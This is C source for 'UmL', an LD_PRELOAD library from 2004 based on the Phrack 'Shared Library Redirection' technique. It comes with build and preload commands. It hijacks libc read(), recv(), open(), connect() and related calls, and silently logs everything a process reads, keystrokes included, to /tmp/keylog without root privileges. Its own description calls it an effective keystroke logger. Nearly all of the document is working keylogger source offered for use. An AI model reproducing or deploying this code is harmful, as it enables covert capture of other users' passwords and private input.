UmL - Userspace Logger. This is functioning code based on the the example given in the article in Phrack 51 entitled "Shared Library Redirection". The following functions are logged: read()/recv() output and intercepts open(), open64(), close(), socket(), connect(), exit(). This is an effective keystroke logger, among other things, despite that the author says it is only at the Proof-of-Concept phase. License: GPL2. Version 0.0.2 testing.
d2553958c615551070ee685fb398040eefcef6ae792f7601a2657a75f7a43a62
/*
uml.c - v. 0.0.2 testing
Copyright (C) october.2004 embyte
UmL is an userspace logger which doesn't require r00t privileges.
It works hijacking libc functs like described by halflife in
"Shared Library Redirection" (Phrack 51).
UmL logs read()/recv() output and intercepts open(), open64(), close(),
socket(), connect(), exit(). There are many other important functions
like recvfrom()/recvmsg(), fopen(), write(), etc... but this code it's
only a proof on concept ;-)
Written by embyte <embyte@spine-group.org>
Tested on Linux 2.6.7, glibc 2.3.2 and gcc 3.3.4
Compile and run with
$ gcc -g -Wall -fPIC -DDEBUG -c uml.c (you can disable DEBUG)
$ ld -Bshareable -o uml.so uml.o -ldl
$ setenv LD_PRELOAD `pwd`/uml.so (export for bash)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#define _GNU_SOURCE
#define __USE_GNU
#include <stdlib.h> // free() malloc()
#include <dlfcn.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <string.h> // memset()
#include <ctype.h> // isprint()
#include <time.h> // localtime functs
#include <sys/types.h>
#include <sys/socket.h> // socket()
#include <netinet/in.h>
#include <arpa/inet.h>
/* !!! modify here !!! */
#define LIBC_PATH "/lib/libc.so.6" // libc path
#define LOGFILE "/tmp/keylog" // logfile path
/* !!! */
#define CMD_SIZE 128
#define BUF_SIZE 256 // buffer for log
#define TIME_SIZE 9 // H:M:S
/**************
* global vars *
**************/
// o_ pointers
static ssize_t (*o_read)(int fd, void *buf, size_t count); // point to real read()
static int (*o_socket)(int domain, int type, int protocol); // point to real socket()
static int (*o_connect)(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
static int (*o_close) (int fd);
static int (*o_open)(const char *pathname, int flags, ...);
static int (*o_open64)(const char *pathname, int flags, ...);
static void (*o_exit)(int status);
static ssize_t (*o_recv)(int s, void *buf, size_t len, int flags);
// vars
int logfile;
char logbuf[BUF_SIZE];
char now[TIME_SIZE];
struct
{
pid_t pid;
char cmd[CMD_SIZE];
}
pinfo;
// funct protos
void my_log(const char *fmt, ...);
void whois(void);
void get_time(void);
void print_log (const char *p, size_t len);
int get_syms(void);
void _init(void);
// hooked functs
ssize_t read(int fd, void *buf, size_t count);
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
int socket(int domain, int type, int protocol);
int close(int fd);
int open(const char *pathname, int flags, ...);
int open64(const char *pathname, int flags, ...);
void exit(int status);
ssize_t recv(int s, void *buf, size_t len, int flags);
/*****************
* implementation *
*****************/
// log to LOGFILE with printf() format
void my_log(const char *fmt, ...)
{
char *s;
u_int s_SIZE;
va_list ap;
va_start (ap, fmt);
if ((s_SIZE=vasprintf(&s, fmt, ap))<0)
{
#ifdef DEBUG
write (logfile, "error allocation space for logfile\n", 36);
#endif
return;
}
write (logfile, s, s_SIZE);
if (s)
free (s);
}
// ask for program command line
void whois (void)
{
char *path;
FILE *f;
#define PATH_SIZE 128
// malloc and clean strings
path=(char *)malloc(PATH_SIZE);
memset (path, 0, PATH_SIZE);
memset (pinfo.cmd, 0 , PATH_SIZE);
// open and read file
sprintf (path, "/proc/%d/cmdline", (int) pinfo.pid);
if ((f = fopen (path, "r"))==NULL)
{
#ifdef DEBUG
my_log ( "error finding command line from /proc\n");
#endif
strncpy (pinfo.cmd, "unknow", 6);
return;
}
if (path)
free (path);
fgets (pinfo.cmd, CMD_SIZE, f); // cmdline long
fclose (f);
}
// get time
void get_time(void)
{
time_t t;
struct tm *mytm;
memset (now, 0, TIME_SIZE); // clean time
time(&t);
mytm = localtime(&t);
strftime(now, TIME_SIZE, "%H:%M:%S", mytm);
}
// print correct chars to log (used for read() and recv()
void print_log (const char *p, size_t len)
{
u_short i;
char c;
for (i=0; i<len; i++)
{
if (isprint((int)p[i]) || p[i]=='\n')
write (logfile, &(p[i]), 1);
else if (p[i]=='\r')
{
c='\n';
write (logfile, &c, 1);
}
}
if (p[i-1]!='\r' && p[i-1]!='\n') // check for enter..
{
c='\n';
write (logfile, &c, 1);
}
}
// resolve shared symbols
int get_sym(void)
{
void *handle=dlopen(LIBC_PATH, RTLD_NOW|RTLD_GLOBAL);
if (handle==NULL)
return (-1);
if ((o_read=dlsym(handle, "read"))==NULL)
return (-1);
if ((o_socket=dlsym(handle, "socket"))==NULL)
return (-1);
if ((o_connect=dlsym(handle, "connect"))==NULL)
return (-1);
if ((o_close=dlsym(handle, "close"))==NULL)
return (-1);
if ((o_open=dlsym(handle, "open"))==NULL)
return (-1);
if ((o_open64=dlsym(handle, "open64"))==NULL)
return (-1);
if ((o_exit=dlsym(handle, "exit"))==NULL)
return (-1);
if ((o_recv=dlsym(handle, "recv"))==NULL)
return (-1);
return 0;
}
// init function
void _init(void)
{
// get sym
if (get_sym()<0)
exit (-1);
// open logfile only now, else with have problem with o_* NULL pointer
logfile = o_open (LOGFILE, O_APPEND|O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
pinfo.pid = getpid(); // get process PID
whois(); // get cmdline
#ifdef DEBUG
get_time();
my_log ("\n*** [%s] library loaded for `%s` (PID %d) ***\n", now, pinfo.cmd, pinfo.pid);
#endif
}
// hijacked functions
ssize_t read (int fd, void *buf, size_t count)
{
ssize_t retval;
retval=o_read(fd, buf, count);
my_log ("*** %d (%s): read() from fd %d ***\n", pinfo.pid, pinfo.cmd, fd);
if (retval>0)
{
char *p=buf;
print_log (p, retval);
}
return retval;
}
ssize_t recv(int s, void *buf, size_t len, int flags)
{
ssize_t retval=o_recv(s, buf, len, flags);
my_log ("*** %d (%s): recv() from fd %d ***\n", pinfo.pid, pinfo.cmd, s);
if (retval>0)
{
char *p=buf;
print_log (p, retval);
}
return retval;
}
int socket (int domain, int type, int protocol)
{
int retval;
retval=o_socket (domain, type, protocol);
my_log ("*** %d: socket() return fd %d ***\n", pinfo.pid, retval);
return retval;
}
int close (int fd)
{
my_log ("*** %d: close() fd %d ***\n", pinfo.pid, fd);
return (o_close(fd));
}
int connect (int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen)
{
struct sockaddr_in *address;
address = (struct sockaddr_in *) serv_addr;
my_log ("*** %d: connect() over %d for %s:%d ***\n", pinfo.pid,
sockfd, inet_ntoa(address->sin_addr), (int) address->sin_port);
return (o_connect (sockfd, serv_addr, addrlen));
}
void exit (int status)
{
#ifdef DEBUG
my_log ("*** %d: exit(%d) ***\n", pinfo.pid, status);
#endif
// close logfile and exit
o_close (logfile);
o_exit (status);
}
int open (const char *pathname, int flags, ...)
{
int mode;
int retval;
// open a new file
// see open(2)
if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);
retval=o_open(pathname, flags, mode);
}
else
{
retval=o_open(pathname, flags);
}
my_log ("*** %d: open(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}
int open64(const char *pathname, int flags, ...)
{
int mode;
int retval;
if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);
retval=o_open64(pathname, flags, mode);
}
else
{
retval=o_open64(pathname, flags);
}
my_log ("*** %d: open64(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}
/* EOF */